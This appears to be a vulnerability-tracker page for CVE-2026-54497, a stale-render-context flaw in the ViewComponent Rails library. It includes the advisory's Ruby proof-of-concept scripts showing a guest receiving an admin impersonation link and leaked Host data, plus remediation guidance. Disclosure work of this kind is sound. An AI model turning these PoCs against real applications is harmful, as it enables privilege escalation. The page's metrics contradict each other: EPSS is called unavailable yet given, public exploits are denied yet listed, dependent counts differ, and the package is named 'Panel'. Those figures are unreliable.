CVE-2026-54497: ViewComponent: stale context leaks admin UI cross-user

GHSA-9h85-g7w3-rh49 MEDIUM CISA: ATTEND
Published July 15, 2026
CISO Take

ViewComponent, the Ruby/Rails UI component library, retains stale request-scoped state (helpers, controller, request, view_flow, slot context) when a component instance is rendered more than once, so a component object first rendered for one user can leak that user's authorization context, Host header, or slot data to a different user, tenant, or concurrent thread on a later render. This only bites downstream apps that cache or reuse component instances instead of instantiating fresh per request — a common pattern in shared component registries, memoized helpers, or object-caching layers — but where it applies, the PoC shows a genuine privilege-escalation path: a guest request receives an admin-only impersonation link that a fresh component would have suppressed. There's no CISA KEV listing, no public exploit or Nuclei template, and EPSS data is unavailable, so this looks like a design-flaw disclosure rather than an actively exploited bug, and exploitation requires the specific instance-reuse pattern to be present in your codebase. Audit any Rails-based admin consoles, internal AI ops dashboards, or agent-management UIs built on ViewComponent (487 known downstream dependents) for instance caching of components/collections/slots, and upgrade to view_component >= 4.12.0, which is the vendor-confirmed fix.

Sources: NVD GitHub Advisory OpenSSF CISA KEV

What is the risk?

Medium severity (CVSS 6.8, vector AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N). Exploitability is gated by a non-default precondition — the reusing application must cache or memoize component/collection/slot instances rather than instantiate them per request — which raises attack complexity (AC:H) and requires low privileges to trigger. No EPSS score, no CISA KEV entry, and no public exploit code or scanner template exist, indicating this is currently a disclosed design flaw rather than a weaponized, actively exploited vulnerability. However, where the vulnerable pattern exists in production (shared registries, singleton services, fragment-caching-by-object), the realistic impact is high: confirmed cross-user authorization bypass, Host/URL leakage, and cross-thread context mixing under concurrent servers like Puma.

How does the attack unfold?

Vulnerable pattern present
Downstream application caches or memoizes a ViewComponent instance (component, collection, slot, or spacer) instead of instantiating a fresh object per request.
Cross-context trigger
A lower-privileged user, different tenant, or concurrent thread causes the same cached component instance to be rendered again under a new view context.
Stale context reuse
render_in fails to reset memoized helpers, controller, request, view_flow, and slot state, so the new render reuses authorization, Host, and identity data from the earlier render.
Impact: authorization/data leak
The lower-privileged user receives privileged UI (e.g., an admin impersonation link) or another user's request/Host/slot data, enabling privilege escalation or cross-user data leakage.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Panel rubygems >= 4.0.0, < 4.12.0 4.12.0
5.8K OpenSSF 6.7 505 dependents Pushed 2d ago 69% patched ~15d to patch Full package profile →

Do you use Panel? You're affected.

How severe is it?

CVSS 3.1
6.8 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 16% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC High
PR Low
UI None
S Unchanged
C High
I High
A None

What should I do?

1 step
  1. Upgrade view_component to >= 4.12.0 immediately, which is the patched release. As a workaround if upgrading is delayed, audit the codebase for any pattern that stores component, collection, slot, or spacer-component *instances* (as opposed to classes, factories, or fully-rendered strings) in constants, singletons, memoized helpers, or shared caches, and eliminate that reuse — always instantiate a fresh component per render. Add tests that render the same component instance twice under two different view contexts/users and assert the output is not identical. For detection, monitor for identical rendered admin/privileged UI fragments served across different user sessions or Host headers, and review logs for unexpected privileged action links (e.g., impersonation URLs) appearing in low-privilege user responses.

What does CISA's SSVC say?

Decision Attend
Exploitation poc
Automatable No
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Auth Bypass Data Leakage Framework

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-54497?

ViewComponent, the Ruby/Rails UI component library, retains stale request-scoped state (helpers, controller, request, view_flow, slot context) when a component instance is rendered more than once, so a component object first rendered for one user can leak that user's authorization context, Host header, or slot data to a different user, tenant, or concurrent thread on a later render. This only bites downstream apps that cache or reuse component instances instead of instantiating fresh per request — a common pattern in shared component registries, memoized helpers, or object-caching layers — but where it applies, the PoC shows a genuine privilege-escalation path: a guest request receives an admin-only impersonation link that a fresh component would have suppressed. There's no CISA KEV listing, no public exploit or Nuclei template, and EPSS data is unavailable, so this looks like a design-flaw disclosure rather than an actively exploited bug, and exploitation requires the specific instance-reuse pattern to be present in your codebase. Audit any Rails-based admin consoles, internal AI ops dashboards, or agent-management UIs built on ViewComponent (487 known downstream dependents) for instance caching of components/collections/slots, and upgrade to view_component >= 4.12.0, which is the vendor-confirmed fix.

Is CVE-2026-54497 actively exploited?

No confirmed active exploitation of CVE-2026-54497 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54497?

Upgrade view_component to >= 4.12.0 immediately, which is the patched release. As a workaround if upgrading is delayed, audit the codebase for any pattern that stores component, collection, slot, or spacer-component *instances* (as opposed to classes, factories, or fully-rendered strings) in constants, singletons, memoized helpers, or shared caches, and eliminate that reuse — always instantiate a fresh component per render. Add tests that render the same component instance twice under two different view contexts/users and assert the output is not identical. For detection, monitor for identical rendered admin/privileged UI fragments served across different user sessions or Host headers, and review logs for unexpected privileged action links (e.g., impersonation URLs) appearing in low-privilege user responses.

What systems are affected by CVE-2026-54497?

This vulnerability affects the following AI/ML architecture patterns: AI ops / admin dashboards (Rails + ViewComponent), internal ML/LLM management consoles, multi-tenant SaaS admin UIs, agent orchestration web UIs.

What is the CVSS score for CVE-2026-54497?

CVE-2026-54497 has a CVSS v3.1 base score of 6.8 (MEDIUM). The EPSS exploitation probability is 0.25%.

What is the AI security impact?

Affected AI Architectures

AI ops / admin dashboards (Rails + ViewComponent)internal ML/LLM management consolesmulti-tenant SaaS admin UIsagent orchestration web UIs

What are the technical details?

Original Advisory

# Reused Component Instances Retain Stale Render Context ## Summary `ViewComponent::Base` instances retain multiple render-scoped objects across calls to `render_in`. If the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale `helpers`, `controller`, `request`, `view_flow`, format/variant details, and slot child context from an earlier render. This can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state, and mix request context under concurrent rendering. ## Severity The PoC demonstrates cross-user authorization impact in a realistic downstream application pattern. If the receiving program accepts downstream cross-user authorization impact as a scope-changing impact for a framework vulnerability, an alternative High score can be assigned: Alternative CVSS: 8.2 Alternative vector: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N` ## Affected Code Validated against: - Repository commit: `eea79445` - Ruby: `3.4.9` Relevant locations: - `lib/view_component/base.rb` - `render_in` - `controller` - `helpers` - `__vc_request` - `lib/view_component/slot.rb` - `Slot#to_s` - `lib/view_component/slotable.rb` - slot storage in `@__vc_set_slots` - `lib/view_component/collection.rb` - child component memoization and spacer rendering Key retained state: ```ruby @view_context = view_context self.__vc_original_view_context ||= view_context @lookup_context ||= view_context.lookup_context @view_flow ||= view_context.view_flow @__vc_requested_details ||= @lookup_context.vc_requested_details ``` ```ruby @__vc_controller ||= view_context.controller @__vc_helpers ||= __vc_original_view_context || controller.view_context @__vc_request ||= controller.request if controller.respond_to?(:request) ``` Slot children also inherit the parent original view context: ```ruby @__vc_component_instance.__vc_original_view_context = @parent.__vc_original_view_context ``` Collections memoize child component instances: ```ruby return @components if defined? @components ``` ## Root Cause Component instances are mutable render objects. `render_in` updates some per-render fields, but many request-scoped values are memoized using `||=` or stored for later slot/collection rendering. There is no runtime guard preventing a component instance from being rendered multiple times under different view contexts, and there is no full reset of render-scoped state at the start of each render. Maintainer discussion in prior PRs notes that component instances should not be shared between renders, but the current runtime does not enforce this invariant. ## Proof of Concept The following PoC demonstrates four independent effects: - stale authorization gate - stale Host/request data in generated absolute URLs - stale slot child context - cross-thread context mixing Run from the repository root: ```ruby $LOAD_PATH.unshift File.expand_path("lib", Dir.pwd) require "action_controller/railtie" require "rack/mock" require "view_component/base" class ReusePocController < ActionController::Base helper_method :current_user, :admin? attr_accessor :current_user, :role def admin? = role == :admin end routes = ActionDispatch::Routing::RouteSet.new routes.draw { get "/accounts/:id", to: "accounts#show" } ReusePocController.include routes.url_helpers class AdminPanelComponent < ViewComponent::Base def render? = helpers.admin? def call href = helpers.url_for(controller: "accounts", action: "show", id: 42, only_path: false) "ADMIN user=#{helpers.current_user};host=#{request.host};href=#{href}".html_safe end end class UrlOnlyComponent < ViewComponent::Base def call href = helpers.url_for(controller: "accounts", action: "show", id: 42, only_path: false) "user=#{helpers.current_user};host=#{request.host};href=#{href}".html_safe end end class SlotChildComponent < ViewComponent::Base def call = "child_user=#{helpers.current_user};child_path=#{request.path}".html_safe end class SlotParentComponent < ViewComponent::Base renders_one :child, SlotChildComponent def call = "parent_user=#{helpers.current_user};parent_path=#{request.path};".html_safe + child.to_s end class RaceComponent < ViewComponent::Base def before_render = sleep 0.05 def call = "#{helpers.current_user}@#{request.path}".html_safe end def vc(user:, role:, path:, host: "app.example") c = ReusePocController.new c.current_user = user c.role = role c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, "HTTP_HOST" => host))) c.set_response!(ActionDispatch::Response.new) c.view_context end admin_vc = vc(user: "alice", role: :admin, path: "/admin", host: "admin.example") guest_vc = vc(user: "bob", role: :guest, path: "/guest", host: "app.example") panel = AdminPanelComponent.new puts "auth_admin_first=#{panel.render_in(admin_vc)}" puts "auth_guest_reused=#{panel.render_in(guest_vc)}" puts "auth_guest_fresh=#{AdminPanelComponent.new.render_in(guest_vc).inspect}" url = UrlOnlyComponent.new puts "host_attacker_prime=#{url.render_in(vc(user: "attacker", role: :guest, path: "/prime", host: "evil.example"))}" puts "host_victim_reused=#{url.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}" puts "host_victim_fresh=#{UrlOnlyComponent.new.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}" parent = SlotParentComponent.new puts "slot_admin_first=#{parent.render_in(admin_vc) { |p| p.with_child }}" puts "slot_guest_reused=#{parent.render_in(guest_vc) { |p| p.with_child }}" puts "slot_guest_fresh=#{SlotParentComponent.new.render_in(guest_vc) { |p| p.with_child }}" race = RaceComponent.new q = Queue.new t1 = Thread.new { q << [:admin, race.render_in(vc(user: "admin", role: :admin, path: "/admin"))] } t2 = Thread.new { q << [:guest, race.render_in(vc(user: "guest", role: :guest, path: "/guest"))] } t1.join t2.join results = 2.times.map { q.pop }.to_h puts "race_admin_thread=#{results[:admin]}" puts "race_guest_thread=#{results[:guest]}" ``` Observed output: ```text auth_admin_first=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42 auth_guest_reused=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42 auth_guest_fresh="" host_attacker_prime=user=attacker;host=evil.example;href=http://evil.example/accounts/42 host_victim_reused=user=attacker;host=evil.example;href=http://evil.example/accounts/42 host_victim_fresh=user=victim;host=app.example;href=http://app.example/accounts/42 slot_admin_first=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/admin slot_guest_reused=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/guest slot_guest_fresh=parent_user=bob;parent_path=/guest;child_user=bob;child_path=/guest race_admin_thread=admin@/guest race_guest_thread=admin@/guest ``` ## Authorization-Impact PoC The following PoC models a realistic downstream application pattern: a shared component registry caches component objects instead of caching component classes, factories, or rendered strings. An admin request primes the cached toolbar component. A later guest request renders the same cached object. The component uses `render?` as an authorization-aware visibility gate and emits a representative privileged action link. ```ruby $LOAD_PATH.unshift File.expand_path("lib", Dir.pwd) require "action_controller/railtie" require "rack/mock" require "view_component/base" module SharedComponentRegistry def self.admin_toolbar @admin_toolbar ||= AdminToolbarComponent.new end def self.reset! remove_instance_variable(:@admin_toolbar) if defined?(@admin_toolbar) end end User = Struct.new(:id, :role, keyword_init: true) do def admin? = role == :admin end class AppController < ActionController::Base helper_method :current_user, :admin? attr_accessor :current_user def admin? current_user&.admin? end end routes = ActionDispatch::Routing::RouteSet.new routes.draw do get "/admin/users/:id/impersonate", to: "admin/users#impersonate", as: :impersonate_admin_user end AppController.include routes.url_helpers class AdminToolbarComponent < ViewComponent::Base def render? helpers.admin? end def call helpers.link_to( "Impersonate user 42", helpers.impersonate_admin_user_url(42, host: request.host), data: { turbo_method: :post } ) end end class DashboardController < AppController def render_dashboard_with_shared_component render_to_string(inline: '<main><h1>Dashboard</h1><%= render SharedComponentRegistry.admin_toolbar %></main>') end def render_dashboard_with_fresh_component render_to_string(inline: '<main><h1>Dashboard</h1><%= render AdminToolbarComponent.new %></main>') end end def controller_for(user:, host:, path: "/dashboard") c = DashboardController.new c.current_user = user c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(path, "HTTP_HOST" => host))) c.set_response!(ActionDispatch::Response.new) c end SharedComponentRegistry.reset! admin = User.new(id: 1, role: :admin) guest = User.new(id: 2, role: :guest) admin_response = controller_for(user: admin, host: "admin.example").render_dashboard_with_shared_component guest_reused_response = controller_for(user: guest, host: "app.example").render_dashboard_with_shared_component guest_fresh_response = controller_for(user: guest, host: "app.example").render_dashboard_with_fresh_component puts "admin_shared_contains_admin_link=#{admin_response.include?('/admin/users/42/impersonate')}" puts "guest_reused_contains_admin_link=#{guest_reused_response.include?('/admin/users/42/impersonate')}" puts "guest_fresh_contains_admin_link=#{guest_fresh_response.include?('/admin/users/42/impersonate')}" puts "guest_reused_contains_admin_host=#{guest_reused_response.include?('http://admin.example/admin/users/42/impersonate')}" puts "guest_reused_response=#{guest_reused_response.gsub(/\s+/, ' ').strip}" puts "guest_fresh_response=#{guest_fresh_response.gsub(/\s+/, ' ').strip.inspect}" ``` Observed output: ```text admin_shared_contains_admin_link=true guest_reused_contains_admin_link=true guest_fresh_contains_admin_link=false guest_reused_contains_admin_host=true guest_reused_response=<main><h1>Dashboard</h1><a data-turbo-method="post" href="http://admin.example/admin/users/42/impersonate">Impersonate user 42</a></main> guest_fresh_response="<main><h1>Dashboard</h1></main>" ``` This confirms a cross-user authorization impact in a realistic pattern: a guest receives privileged UI that a fresh component correctly suppresses. It also confirms stale request and Host context in the generated privileged URL. ## Exploit Scenario A downstream app stores component instances in a constant, singleton service, memoized helper, cache object, or shared collection builder to avoid allocation. An attacker or lower-privileged user later triggers rendering of that same object. Potential real-world examples: - A navigation/sidebar component checks `helpers.admin?` in `render?`. - A tenant switcher uses `request.host` or `current_user.account`. - A component emits absolute URLs or signed action links. - A table uses slot child components that rely on helper/request state. - A global UI registry stores instantiated spacer or child components. In these cases, a component first rendered under an admin or attacker-controlled request can affect later renders for other users. ## Impact Confirmed impact classes: - stale privileged UI rendering - stale user identity through `helpers` - stale Host/request data in generated absolute URLs - slot child context inheritance - cross-thread context corruption - stale format/variant template selection - stale `view_flow` / `content_for` writes - collection and spacer component context leakage This can chain into privilege escalation if an application relies on UI visibility as an authorization boundary. It can also leak signed links, tenant-specific URLs, admin actions, or user-specific data. ## Preconditions - The same component, collection, slot, or spacer component instance is reused across render contexts. - The component reads request-scoped or user-scoped APIs such as `helpers`, `controller`, `request`, URL helpers, `render?`, `before_render`, slots, variants, formats, or `content_for`. - Higher impact when the shared object crosses users, tenants, roles, or threads. Normal per-request usage such as `render(MyComponent.new(...))` is not affected. ## Chaining Potential This issue can chain with: - UI-only authorization checks - signed admin links embedded in components - Host header poisoning - multi-tenant routing based on host/subdomain - shared component registries - fragment/component caching patterns that cache objects rather than rendered strings - concurrent Rails servers such as Puma The framework alone does not directly prove account takeover, but downstream applications can reach high impact if stale component output exposes privileged action links or bypasses server-side authorization assumptions. ## Remediation The safest fix is to make component and collection instances one-shot renderables. Recommended options: 1. Add a runtime guard in `render_in` that raises or warns when the same component instance is rendered again with a different `view_context`. 2. Reset render-scoped ivars at the beginning of every render, including: - `__vc_original_view_context` - `@lookup_context` - `@view_flow` - `@__vc_requested_details` - `@__vc_controller` - `@__vc_helpers` - `@__vc_request` 3. Rebuild `ViewComponent::Collection` child component instances per render or document/enforce collections as one-shot. 4. Avoid accepting a reusable instantiated `spacer_component`, or reset/clone it before rendering. 5. Add thread-safety tests for concurrent rendering of a shared instance.

Exploitation Scenario

An AI ops platform built on Rails/ViewComponent caches an 'AdminToolbarComponent' instance in a shared registry (e.g., `@admin_toolbar ||= AdminToolbarComponent.new`) to avoid re-allocating it on every page render. The component uses `render?` to check `helpers.admin?` before showing a model-deployment or user-impersonation action link. When an admin first loads the dashboard, the cached instance's `helpers`/`controller`/`request` are memoized against the admin's session. A subsequent request from a guest or low-privileged user renders the same cached object; because the memoized `helpers` and `request` are never reset, the guest's response includes the privileged impersonation link generated with the admin's stale Host and authorization context — handing the guest a working privileged action URL without ever passing a real authorization check for their own session.

Weaknesses (CWE)

CWE-362 — Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'): The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

  • [Architecture and Design] In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
  • [Architecture and Design] Use thread-safe capabilities such as the data access abstraction in Spring.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Timeline

Published
July 15, 2026
Last Modified
July 20, 2026
First Seen
July 16, 2026

Related Vulnerabilities